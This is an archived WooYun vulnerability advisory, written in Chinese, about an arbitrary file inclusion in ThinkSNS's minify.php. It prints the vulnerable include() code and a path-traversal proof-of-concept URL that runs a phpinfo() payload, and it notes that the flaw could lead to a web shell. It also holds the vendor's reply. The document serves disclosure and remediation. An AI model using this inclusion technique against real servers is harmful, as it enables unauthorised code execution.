当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045130

漏洞标题:ThinkSNS一处任意文件包含

相关厂商:ThinkSNS

漏洞作者: 齐迹

提交时间:2013-12-06 15:39

修复时间:2014-03-06 15:40

公开时间:2014-03-06 15:40

漏洞类型:文件包含

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-06: 细节已通知厂商并且等待厂商处理中
2013-12-06: 厂商已经确认,细节仅向厂商公开
2013-12-09: 细节向第三方安全合作伙伴开放
2014-01-30: 细节向核心白帽子及相关领域专家公开
2014-02-09: 细节向普通白帽子公开
2014-02-19: 细节向实习白帽子公开
2014-03-06: 细节向公众公开

简要描述:

ThinkSNS一处任意文件包含。一定条件下可以getshell

详细说明:

问题发生在
public/minify.php

allowed_content_types	=	array('js','css');
$getfiles = explode(',', strip_tags($_GET['f']));
//解析参数
$gettype = (isset($_GET['t']) && $_GET['t']=='css')?'css':'js';
if($gettype=='css'){
$content_type = 'text/css';
}elseif($gettype=='js'){
$content_type = 'application/x-javascript';
}else{
die('not allowed content type');
}
header ("content-type: ".$content_type."; charset: utf-8"); //注意修改到你的编码
header ("cache-control: must-revalidate"); //
header ("expires: " . gmdate ("D, d M Y H:i:s", time() + 60 * 60 * 24 * 7 ) . " GMT"); //过期时间
ob_start("compress");
function compress($buffer) {//去除文件中的注释
$buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
return $buffer;
}
foreach($getfiles as $file){
$fileType = strtolower( substr($file, strrpos($file, '.') + 1 ) );
if(in_array($fileType, $allowed_content_types)){
//包含你的全部css文档
include($file);
}else{
echo 'not allowed file type:'.$file;
}
}


通过$_GET['f'] 可以传递一个js或者css后缀的文件,内容为php脚本即可被包含并执行。
当allow_url_fopen=On 的情况下 利用就非常简单
直接远程文件。
当为Off的时候 就想办法上传一个js或者css文件到服务器 然后包含即可被执行!

漏洞证明:

写一个1.js在网站根目录

<?php
phpinfo();


访问
http://xxxxxx/public/minify.php?f=../1.js

thinksns_include.jpg

修复方案:

对参数进行严格过滤

版权声明:转载请注明来源 齐迹@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-12-06 15:57

厂商回复:

非常感谢!但是我们测试后无法直接包含远程文件。服务器上也不允许上传js、css文件,那么包含本地js/css文件有什么方法能造成比较大的危害呢?如果有,请再提交一个漏洞,给你高分,谢谢!

最新状态:

暂无